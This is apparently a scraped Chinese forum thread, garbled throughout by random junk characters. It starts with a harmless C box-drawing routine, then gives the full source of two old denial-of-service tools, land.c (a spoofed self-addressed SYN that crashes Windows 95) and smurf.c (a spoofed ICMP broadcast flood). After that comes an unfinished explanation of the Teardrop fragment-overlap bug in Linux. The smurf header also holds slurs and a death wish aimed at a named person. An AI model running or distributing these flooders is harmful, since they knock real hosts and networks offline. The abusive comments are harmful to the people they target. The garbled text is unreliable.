- ~! K& o9 Q8 v, V+ d; E$ D*/</FONT></P><><FONT color=#009900>main()9 Y% O8 \- V" W& o6 q
{4 P7 i. }- V# X6 p$ F
clrscr();# J- G/ y6 v6 R+ R
box(1,1,23,79);, U* P. l+ e& x& ^
box(2,2,21,77);. c  |; q8 J$ V; ?5 t3 u. {
box(3,3,19,75);. @+ b( B# T8 E& V/ E. F
box(4,4,17,73);
) m3 Q, y! l7 a' mbox(5,5,15,71);
- F: m! o7 c: X2 @( K4 dbox(6,6,13,69);# @% Q" k1 F% z
box(7,7,11,67);% n( m% b' D4 K. [
box(8,8,9,65);# M5 p+ s- r3 m" ?1 q/ ]) ]$ y& n( M
box(9,9,7,63);
' ~# C" t" W) M9 M) z2 G* jbox(10,10,5,61);
1 a% v) {/ x6 g  J) Zbox(11,11,3,59);! L2 u5 [% N$ |1 H# |6 }
box(12,12,1,57);4 o* Y2 H* k5 @2 b% Y0 W2 @5 t: V
poscur(24,1);
, T" d! |0 u+ n& C/ Y& a; w}</FONT></P><><FONT color=#009900>/************************************************************& g3 l$ L- h- K* b- M7 }, p
* BOX *& K2 V* L5 T: V2 p; Q$ M
*----------------------------------------------------------*
( Q2 }: q( w; l5 @: P0 a  ]* Written by: Jeff Ebert 7/01/87 *
! X# f6 W7 t! h* Modified by: xxxxxxxxxx *9 t* z8 ?2 K( P4 [* [, e2 I4 O1 N" M
* *
7 c5 z% T6 f4 e( e% e2 p  P$ I* Please modify me! *
: w. X; K' B- ?6 j) K* Possible Enhancements include but are not limited t *
+ u+ ^# J* C% c  }  w. z6 V* 1) Variable box character styles [1 line or 2] *
7 _# I- `2 d0 u3 V) o0 H0 e* 2) Error checking *! D3 ^1 y# y8 o$ r
* 3) Color options *- ?4 D- ?/ L& z3 N  P
* *
# x+ o5 M7 g; u2 V2 S2 u1 R2 Z* *9 B0 g1 G% _# _8 J% ?' v
* This function builds a simple double frame for a menu. *
3 A- n7 q2 g( M8 K! I% R$ Y* The function is passed the parameters for the upper *% B) {; G1 j* N8 O( ]4 L+ l8 I
* left corner row, upper left corner column the height *. L. e! {# t8 j3 Q5 t
* of the frame and the width. *  x8 _8 e- v% [! c
* *3 o) U$ w1 C. c3 d
************************************************************/' Q0 ~% ?2 |4 u. u. Q
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201% r6 w7 z  M! t8 }" M  p! j
#define URCOR 187( J) y: V! n# F! Y
#define LLCOR 200/ n" Z0 M6 v7 f8 Q
#define LRCOR 188; W4 O: |: l9 w9 d+ P, c
#define VBAR 186
/ k9 y, H4 n/ B! j" S6 W#define HBAR 205
# v0 M" m# }7 T#define ESC 27</FONT></P><><FONT color=#009900>
5 h8 k4 D& W1 N6 T* L: p! X) `box(row, col, hgt, wdth)( s+ B, V; W5 K# }; l4 n
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{0 q) w' X& Z( v! L- f
int x, y;</FONT></P><><FONT color=#009900>poscur(row,col);
2 w$ x7 V( n. {% M3 z, mputchar(ULCOR);/ L1 |3 g3 A; @* r1 t& `
for(x = col + 1; x &lt;=(col + wdth -1); x++)
& s  g  F. _/ I* f) yputchar(HBAR);$ e. B9 @/ W) E: h. Y/ }9 b! _' V
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){( I2 L, x( a+ G- t
poscur(x,col);
5 j0 w* `. T# \* Jputchar(VBAR);
, f( Z7 Y- ~* X+ Mposcur(x,col+wdth);
% [. |7 W# l, y8 {) Q! _6 Yputchar(VBAR);
4 n  C( p  t+ \7 O' `8 ^1 u}0 @% Q2 w/ g( Z3 |! a
poscur(x,col);5 Z' k3 O( e3 p$ k9 y: e
putchar(LLCOR);
4 p! e4 t( M) n% [for(x= col + 1; x &lt;=(col + wdth -1); x++)
" ]4 k1 P. O4 y' O2 G3 D) Fputchar(HBAR);3 r2 C/ E( f3 d: N! i  D" u
putchar(LRCOR);
5 m9 S$ n. s! z* f2 [" ?; p, F}</FONT></P><><FONT color=#009900>/********************************************************
& V- F% T3 K; I; X- `$ N* POSCUR *6 ?2 \- U- J' N' j/ E+ P8 p
*------------------------------------------------------*5 k" ^, N5 l0 _. K9 x
* This function positions the cursor at the specified *  x4 E$ p( A/ ^0 q
* x,y coordinate. It uses the ANSI standard ESCAPE *
' q/ u+ P% l) @' x0 a. p' }" G* sequence to produce the desired effect. Its not the *  `# \' n$ _  \3 d/ _* Q' ?% F
* fastest way to position the cursor, but perhaps the *
6 s1 g+ ]' j+ o* most portable. *
8 H% g, A1 F. a' {) @& c* *
$ f1 @0 d. A3 h: o4 b+ E' k! U********************************************************/
. z7 g$ ]! y, Aposcur(xcor,ycor)# z! _$ R/ r% ?$ v- z
int xcor,ycor;
3 t$ v; x2 ~* l6 M{
4 [# K# t, @4 A# z8 Pprintf("%c[%d;%dH",ESC,xcor,ycor);9 T0 m* U: J! K  g
}</FONT></P><><FONT color=#009900>) N2 x0 S+ n: N, p- s
/********************************************************
$ e" y) W4 N* F) w- t5 ^5 q% `* K* CLRSCR *8 }2 M  j; E1 k
*------------------------------------------------------*
& O* Y( M6 `  _9 H* g2 H0 q* This function positions the cursor at the specified *
& ]6 x) D( t( r1 e. ?* x,y coordinate. It uses the ANSI standard ESCAPE *
" X: b) V4 O+ E. A3 j( a* sequence to produce the desired effect. Its not the *' G* C6 s: \3 q) j2 p* {
* fastest way to position the cursor, but perhaps the *
' ^3 R( e. V. I* most portable. *
; Q9 r) _7 B( c  e7 y) `* *; l/ j6 j& I7 F/ H+ p* A$ w$ L% _, J
********************************************************/
& m7 ]6 m2 o3 S* ^5 \clrscr()
! p( j7 v3 ^- r/ D{
- X! W8 @. p) x+ nprintf("%c[2J",ESC);; K% l/ d2 |6 f' T1 I- \$ Z
}</FONT>  g" J/ |: Y' d9 |
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract+ W! {: j' m  ]0 Q. k8 n
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自& _4 M0 m0 p& q( L. I
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
5 N( N" z9 k. F) ^8 D6 q( R<FONT color=#009900>/* land.c by m3lt, FLC
, `) f) S/ {3 Y: S6 f  R  scrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
7 t  O1 Q& u4 V, }: s2 D; A#include <NETDB.H>; F6 @& a/ x; u6 m' F7 U. ?9 [
#include <ARPA inet.h>( r$ [/ M% u7 ^9 Z- c8 z3 W' x" v. C
#include <NETINET in.h>
* O( h6 p4 L3 g" W7 A7 \5 u# u#include <SYS types.h>
6 Q' ^& m% W* q# k: S0 s#include <SYS socket.h>
+ x' X% o) U, `" K2 u  g3 X4 i9 W" A#include <NETINET ip.h>
7 O5 p1 p2 a6 a( k& I+ l#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头: J5 K2 \+ Y$ e8 z6 z+ h# b
struct pseudohdr
5 `9 q$ e& M2 t* D4 k{+ J* P' A+ X: J2 u4 u1 y
struct in_addr saddr;
' \: Z" k) B( |: S0 O9 ~, Estruct in_addr daddr;3 j$ U# H6 K, H0 L
u_char zero;
$ C" Z$ H4 a4 e5 m' j' o( Du_char protocol;
: o: _3 l: w! I2 Y% ]8 Zu_short length;
$ i& r; m$ }$ [2 e. _; J* {) gstruct tcphdr tcpheader;% e. A8 B4 J% O1 }' E: [5 ~
};</FONT></P><><FONT color=#009900>//计算IP校验和
" j$ u9 K# P" S) pu_short checksum(u_short * data,u_short length)& D9 z, o' G. x$ ?9 x
{
- T: i; Y) F- E. hregister long value;
0 R) G0 k. M6 `3 _/ `u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
' G9 t1 L' A1 n  q7 L# avalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)
# V5 U6 C- ^+ _# v2 wvalue+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);
/ L( A' ?) i# N}</FONT></P><><FONT color=#009900>
  o3 i$ R- p  Vint main(int argc,char * * argv)* y- G# O$ x2 h
{
4 V- {2 c9 h7 A" b  r4 Y$ Estruct sockaddr_in sin;
2 b* b; C9 f+ F0 h9 vstruct hostent * hoste;2 R6 b4 {7 g1 w5 E! L
int sock;; C/ q0 S8 O+ H. B
char buffer[40];
# }# J6 R( }+ j8 s1 mstruct iphdr * ipheader=(struct iphdr *) buffer;
. c, x5 @) u7 y4 P: dstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));' Y% M2 D1 C8 Q! @3 W( |; V  P$ Q
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
3 t7 B" t* o& C, d  X{* j' [& p+ V6 Z) F/ j/ G: O
fprintf(stderr,"usage: %s IP port\n",argv[0]);
$ {& ?% j5 X7 Z* S- o% b) i. ^return(-1);
9 j6 z% ]8 T8 A% f; a& ~}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));7 b8 H$ ]. i4 n7 k; {
sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)& m7 N! @/ g, G# s0 N! W2 f
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);; `* S# i8 s6 r* D
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
, H6 i  B6 N1 J+ F{/ g( y- y+ A4 G+ }4 U
fprintf(stderr,"unknown host %s\n",argv[1]);
8 K% m5 A# F+ ~8 u% p7 Z3 Mreturn(-1);2 E$ |; H, {9 o& z1 ~+ u' ~% V
}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0). s3 f* j6 G7 E/ q  G
{
6 C* C+ G# d7 R& P* x* |fprintf(stderr,"unknown port %s\n",argv[2]);. H! i* F; r) u6 h! J
return(-1);
, Z4 _) d8 p! P  Y}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
  |/ q6 c6 x% A5 hif((sock=socket(AF_INET,SOCK_RAW,255))==-1)$ i4 Q) G) V" b9 U
{
. `7 D5 `8 r6 Wfprintf(stderr,"couldn't allocate raw socket\n");7 V: U% J6 z5 W- p% u+ s* r* B; _
return(-1);, e' j. `3 M7 P, n4 }. \' {
}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
5 Z( Y. o' H2 Y0 Wipheader-&gt;version=4;) k7 H/ ]* m% ]9 G- s
ipheader-&gt;ihl=sizeof(struct iphdr)/4;
/ k* t+ |# l0 v; I9 m, bipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
% [9 Y& j2 h4 t! w8 K& tipheader-&gt;id=htons(0xF1C);) k# b/ V/ g3 i* u! w  v  O
ipheader-&gt;ttl=255;  u0 z  ]1 |# i% \
ipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同& R- x+ b$ k$ a% T& E( X' \9 B- [, A
ipheader-&gt;saddr=sin.sin_addr.s_addr;
/ J% q& ^; C0 ^( @# ^$ J/ _& `) dipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同* q( m3 x0 z9 C0 g$ n
tcpheader-&gt;th_sport=sin.sin_port;
, |! [. Z+ G* C  _3 Z) U8 Stcpheader-&gt;th_dport=sin.sin_port;! z3 `9 R$ v( X9 Z) v2 ~8 t
tcpheader-&gt;th_seq=htonl(0xF1C);1 d5 d# s$ z, }' I- ?
tcpheader-&gt;th_flags=TH_SYN;# H; k9 u9 @4 O+ W: {, N  K4 d
tcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
0 z- j. e, B/ ^  m! W5 ?tcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));
2 Y3 g* u+ ?- m6 l& @1 E. }" X2 ppseudoheader.saddr.s_addr=sin.sin_addr.s_addr;6 R# B- l, h0 v' o
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
9 J8 n+ s0 s1 }0 P+ _8 `pseudoheader.protocol=6;$ z3 |9 D; s7 Q+ {, d4 L$ }. j
pseudoheader.length=htons(sizeof(struct tcphdr));
+ S  L( a* \# r4 n! r/ _! Nbcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));0 d+ h  n) ^+ \
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
& B: R% C; V' n6 c' T. @/ f2 s5 o0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)+ R6 A/ u; u$ Y0 u. |8 V/ i/ n& ~' g0 c
{
; X- K/ J# T  p+ y2 O  G- _( s/ tfprintf(stderr,"couldn't send packet\n");
  C4 d% J/ r  s" }/ M# X1 H  @return(-1);
# g2 h" A  x( w; t}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);. V0 Q% D+ l" j
return(0);
1 i7 Q: j( A; J0 ^/ J, [/ U}</FONT></P><>
( }% X; N  d# x) u' k2 Smurf
4 L  B4 u; S% G4 fsmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
1 c2 h1 h' O6 |1 T据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
; r0 f0 c* J: a3 U6 `# [的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些
1 c2 u4 {* f; \9 e4 n& y3 {4 _icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
' a; [* \( k: f(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变
* Y) @6 @1 u5 L成不可能(没有WINS服务器时)。</P><P>/*7 Y6 i5 A: Q. w2 T2 |
*' i$ o5 D* N, i* b/ k: C/ Y4 G- Z( z
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $! Z0 |5 m! c3 f8 S% |
*
+ ^- f! J# t2 M  R/ Y3 n( M* spoofs icmp packets from a host to various broadcast addresses resulting1 e7 ?% O9 t6 t) s% [% r* \
* in multiple replies to that host from a single packet.
3 J8 l+ |2 [! ?6 r4 n9 N. z5 B*8 r$ z$ I" j  D6 F* V
* mad head t: p  O( Z* x% E
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,5 W: g9 U3 \; j9 Z2 S+ V
* MissSatan for swallowing, napster for pimping my sister, the guy that  w8 Y% R  ], r2 k4 D0 r
* invented vaseline, fyber for trying, knowy, old school #havok, kain
& E4 p! S6 g9 f5 [* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might7 s9 s+ U; n+ _6 L3 h$ n7 z
* have missed (you know who you are).& n0 X) E" b9 @# l5 e' w7 Z/ N
*
; U6 X4 V3 i. |6 x: `3 t* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy  _# n5 W# N$ b  t& {4 G: ~
* thing he is (he's -almost- as stubborn as me, still i managed to pick up/ h2 y1 W7 G5 i9 t
* half the cheque).
: H4 ~- r/ c6 K" ~" B*
, i4 d1 k; W4 Z1 {, u3 n8 W7 P2 d0 K* and a special hi to Todd, face it dude, you're fucking awesome.
( W8 \) m7 |! ^% ]& P2 w*
0 {* B8 e" I0 n, B8 l* mad anal t
) L% S3 {* k1 u) q8 f' A; p* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps& ^, P. @3 ?$ p& c' w- k/ Q
* because they plain suck, Rolex for being a twit, everyone that
6 I1 O% ^. W: o. j" [% U$ \; {* trades warez, Caren for being a lesbian hoe, AcidKill for being her/ T# {7 V$ j! U  J) g! B
* partner, #cha0s, sedriss for having an ego in inverse proportion to3 b; i" d# h5 G! G
* his penis and anyone that can't pee standing up -- you don't know what' s+ W( S; l4 F
* your missing out on.- l2 t/ ]1 B( n) g9 k( Z
*
6 T: A7 T' F; M7 \* and anyone thats ripped my code (diff smurf.c axcast.c is rather
. L( G7 F/ I5 P# W! O+ K* interesting).
4 C- Y( {  N$ r( ]* s7 F! n*  @0 _* j5 Q$ m" Z, c1 m
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill0 R% r: f- Q/ J
* Robbins for trying to steal my girlfriend. Not only did you show me9 m' X* E% H/ r: j5 K* i
* no respect but you're a manipulating prick who tried to take away the
& C# m. G3 M5 \, Y0 P* most important thing in the world to me with no guilt whatsoever, and
; d; T. Z# q# ^1 I" I* N* for that I wish you nothing but pain. Die.
8 h! V' T! p. F*
; e4 `+ U. ?9 ]5 s1 p* g* O3 n* disclaimer:
0 u: G2 g1 a/ U. ~* I cannot and will not be held responsible nor legally bound for the
/ b  c9 m' v, \& g* malicious activities of individuals who come into possession of this
: D4 k+ Z4 V: K* program and I refuse to provide help or support of any kind and do NOT
4 s% B# \9 J; o& W) I  b* condone use of this program to deny service to anyone or any machine.4 s0 L7 Q6 R) R$ _
* This is for educational use only. Please Don't abuse this.2 s" a& ^: O) P; D2 {0 `: V7 M
*
, M- _8 A/ G! `8 {* Well, i really, really, hate this code, but yet here I am creating another' n- `# p9 x+ I4 D6 `
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
  i1 @9 ?2 f; e; O* like most programmers don't like seeing bugs in their code. I saw a few
1 G0 n( r$ C- i/ n5 H" h* things that should have been done better or needed fixing so I fixed( H9 ?* l# b. ?( c# S" v+ x
* them. -shrug-, programming for me as always seemed to take the pain away1 b2 B+ X6 [9 m4 A
* ...
2 q2 Z" L7 y& \3 B; Z*
2 F8 V, N$ R* `' z  \0 c* U*6 \% c  j: }3 {8 W$ G
*/</P><P>#include <SIGNAL.H>
; B  B: q- ]& c#include <STDIO.H>8 [7 w, L6 C& M, U5 l4 O3 _
#include <STDLIB.H>
1 Q0 A0 m2 e& d" b% |9 \#include <SYS socket.h># G, P. J2 ?4 F5 _1 J' [1 [) p( P
#include <SYS types.h>7 c4 G! H- P2 n; m2 c! V9 `+ H
#include <NETINET in.h>
9 k1 r8 z3 }4 l6 a7 z8 Y. L#include <NETINET ip.h>6 n, }& M) V: S: D. b: G  W, J
#include <NETINET ip_icmp.h>
4 p3 D" o' N/ ~( h#include <NETDB.H>
( Z4 A. c: H. a9 D. {#include <CTYPE.H>
) n' w( o3 H5 C" n$ d, a#include <ARPA inet.h>
! A, c! r) g& f3 x$ E/ u#include <UNISTD.H>
: `6 {0 u* I% b2 q( O#include <STRING.H></P><P>void banner(void);3 j5 h; q# I2 _1 w
void usage(char *);! p& ~& M4 K3 ?
void smurf(int, struct sockaddr_in, u_long, int);
0 T! n( u5 H" ~8 W  j# fvoid ctrlc(int);
# b/ H6 J/ i: ^* c/ P' zunsigned short in_chksum(u_short *, int);</P><P>/* stamp */0 a! r5 P7 i; I1 F7 r0 s, E' Q
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
- H" u' y: C8 E) @; |2 |% Y{
% Z0 |& O6 [- @% b- Dstruct sockaddr_in sin;( K0 ?. u, A% a9 p
struct hostent *he;
1 a! w0 |4 D' g+ Z5 U- l. V7 MFILE *bcastfile;
$ D) ^$ g* M2 C1 _! Cint i, sock, bcast, delay, num, pktsize, cycle = 0, x;3 J0 n5 r) w7 Y$ ]+ p
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();4 e1 F% J9 q. j' D2 O! n
signal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {) o& I8 p: C$ X; b* n' e
perror("resolving source host");- {+ I& _' S$ `3 U
exit(-1);1 V" u! H7 g' a6 h. ^: k  e! w
}
- c8 W) Y# z. u8 H3 f/ |memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
4 I6 p8 O6 H9 }7 F: tsin.sin_family = AF_INET;
# V0 e( m- Z" ]7 _sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);( v5 Y2 N& L/ F$ A  P/ o& p
delay = atoi(argv[4]);! Q) n  z6 G8 d- B: e4 }- j
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {; D  a9 g- T. H& _- k! q9 w6 n
perror("opening bcast file");( Q) q( n) {1 m3 c+ q4 T
exit(-1);4 V7 b) o( S1 ?# J0 r: p- d3 Z6 O/ s
}
" z' ~( X% H. c. I1 J! Jx = 0;
2 C, }7 J, t. R- E, |while (!feof(bcastfile)) {& [- M% N* J: |' @, D
fgets(buf, 32, bcastfile);- J" e) E, g$ z+ a7 G8 Y6 f. [
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;; K, d: ~+ I0 y% a) |9 Z5 K( p
for (i = 0; i &lt; strlen(buf); i++)
6 F( n; [+ a0 L; x0 E, T2 Z  xif (buf == '\n') buf = '\0';
; w0 B* L2 c* W( r& Dbcastaddr[x] = malloc(32);: l: N" Y" H; ]0 |9 p8 }9 [5 U
strcpy(bcastaddr[x], buf);
9 v6 k  \! _7 vx++;% @7 e: N3 A4 y/ Q3 h2 \+ A
}6 R& {6 c( B+ H; t
bcastaddr[x] = 0x0;2 f& G* n/ y4 U3 `& U9 [2 Y& j
fclose(bcastfile);</P><P>if (x == 0) {
( Q( Z( Y7 m4 l: y# H$ wfprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);  n/ ?, l- q, B  N* U; r; s7 g) V
exit(-1);6 c$ b5 L! u  @7 N
}
) H! e8 |2 Q2 fif (pktsize &gt; 1024) {  p7 x4 Y6 y8 h. U
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
" Y0 e# G3 D% k5 n! ~' a- }0 wexit(-1);- |' O9 R; W# U8 c' F, \& S
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {* h. K) S8 v; y; F; K( H6 y$ a
perror("getting socket");
. f1 ]& F; O; H+ O% bexit(-1);7 d6 t2 L3 A2 Q4 C- j8 e
}  i1 D. T9 E" s- R% S  }3 C5 G
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
$ a5 w" ]2 P4 j7 l) y4 h- hif (!(i % 25)) { printf("."); fflush(stdout); }5 J9 R: F* v3 t8 }& Q% c+ {# ^
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);: |+ S# p9 ^; r; p* {9 S1 s- _
cycle++;( G1 C/ K% ~- P! b, c  U$ n
if (bcastaddr[cycle] == 0x0) cycle = 0;0 B7 T: x7 I) M/ `
usleep(delay);
1 `( Q, |0 P2 r" z$ X4 R7 |}
. O8 ]2 D* w" P5 J5 uputs("\n\n");
& q, u4 \2 J- i& c% e4 Oreturn 0;2 G. o7 D) o8 x: j  D3 u  `8 r. O
}</P><P>void banner (void)
" H4 f! `. h' ?: X& K% E% X: V{9 x  k) H9 Q9 B1 A6 y
puts("\nsmurf.c v4.0 by TFreak\n");
% _1 C; D% n6 m}</P><P>void usage (char *prog)5 _' p) Z/ m: R
{1 u) y" J6 d# I- _% r4 v
fprintf(stderr, "usage: %s <TARGET><BCAST file>"; n6 \0 v* q3 I1 R# ?
"<NUM packets> <PACKET delay><PACKET size>\n\n"
* L1 r5 R' J5 I& F"target = address to hit\n"
0 R! J, V8 a, X. O"bcast file = file to read broadcast addresses from\n"5 n% }, x0 S6 p' B3 `/ C  U
"num packets = number of packets to send (0 = flood)\n"0 Q. `/ c: V& O' x
"packet delay = wait between each packet (in ms)\n"
9 B5 `& A& e* D: Z( k"packet size = size of packet (&lt; 1024)\n\n", prog);3 p6 G9 q5 L7 h
exit(-1);7 t4 G5 a! r* x% Y" r5 N0 L
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)  c$ {) W' F; P+ Q0 w  r
{
, ~% [- u- |# g( c* lstruct iphdr *ip;; z& |+ |/ T0 O9 i: X0 \
struct icmphdr *icmp;8 `) ~8 b3 l) z) {4 p; t! O
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);1 j& H4 V* n" U7 }; E
ip = (struct iphdr *)packet;
4 j8 |; ?  L$ [- kicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);# e# ?5 n% {; ^9 p7 I
ip-&gt;ihl = 5;
. i9 ?- s0 F6 v+ \5 i8 D4 j; bip-&gt;version = 4;
8 y& m1 |' q+ o( C* c2 Xip-&gt;ttl = 255;
) }$ w2 h4 E( Fip-&gt;tos = 0;
, O# h2 M1 N2 v- @ip-&gt;frag_off = 0;
1 T1 |/ {* ^3 W# F) R, `* lip-&gt;protocol = IPPROTO_ICMP;- z/ {1 O/ b4 h* Z& T2 L8 q
ip-&gt;saddr = sin.sin_addr.s_addr;6 @6 _* B! ?2 v7 e8 w9 l1 n
ip-&gt;daddr = dest;, [3 B3 F1 _. u  O, x
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
! V; v/ V9 W1 x0 qicmp-&gt;type = 8;5 B) Z+ R  M0 Z
icmp-&gt;code = 0;$ D5 H  P  v+ N) v$ {4 d
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,/ b+ a/ ^  M4 g  L
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */& z# v% k5 E3 Y. A% E8 F
}</P><P>void ctrlc (int ignored)
4 d; o, Q4 D- c7 A5 t; {9 p# h" N{
" c% m8 }7 i' x) G1 _: rputs("\nDone!\n");* g; y( M+ _/ q) U) `( q
exit(1);2 D5 U5 ~: i- X1 C/ P- q, G: \0 G
}</P><P>unsigned short in_chksum (u_short *addr, int len)
, b% U6 D; d5 M8 f/ k{! m& ^- e- W# c, a3 U
register int nleft = len;$ b4 V$ k6 ~1 u
register int sum = 0;
- v* ]5 {- D. Q: G/ }u_short answer = 0;</P><P>while (nleft &gt; 1) {" A4 o' `" J* d& N  W# C+ E
sum += *addr++;1 G% |9 f2 F# y3 d
nleft -= 2;& T7 i" ]) s) s, B
}</P><P>if (nleft == 1) {
  E& x! b9 E( `5 u& J. Y9 h*(u_char *)(&amp;answer) = *(u_char *)addr;
( ?* o  V% d9 x1 S; y9 P9 S2 Bsum += answer;
1 o6 L; n5 g1 @5 l( ]}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);2 D+ N! d# g+ L" y
sum += (sum &gt;&gt; 16);
9 T' g7 [8 r8 k2 t" T1 J3 _( j* Eanswer = ~sum;
! U/ f2 u/ M& k9 Greturn(answer);6 [$ ~1 [% Q! M( K5 d' q1 o) x
}</P><P>5 @% \! C7 G2 o1 r0 z% z% v
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
- x2 J  i3 A1 m# nfp = qp-&gt;fragments;
2 J9 m. C( F7 @* n6 K/ }8 ?# L+ ^while(fp != NULL)
: a+ F5 u5 H3 h/ b. m& K$ P" S7 w) p$ D2 U{
, \# t! P; I- m% X4 j- o. Q6 rif(count+fp-&gt;len &gt; skb-&gt;len)9 R0 e+ |% a6 V7 f& v# I6 Z. g
{
% J! }% p% J. R/ }* x, F& _error_to_big;
4 U( W4 Z$ [6 Q6 h}
9 g) |8 B) H+ O4 b9 smemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);3 S% \# b: b" t1 s  @" j0 B
count += fp-&gt;len;
( V9 z& O  D9 |4 C0 _/ }; W" ufp = fp-&gt;next;, B% E+ F, w4 K9 ]6 Y/ Q
}
& a$ e4 u) w1 H* [' w这里只检查了长度过大的情况,而没有考虑长度过小的情况,
) }) Z) H$ I8 V5 w7 Z( e0 E如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:; J& b5 D1 l% H- k0 ^5 H" {
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)* U- |6 P4 J3 C' e* V: N) D
是这样处理的:- d4 w  A8 A5 B, g* S/ t# v2 D. Z
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
& x, {7 C( M+ J6 d& K3 w{
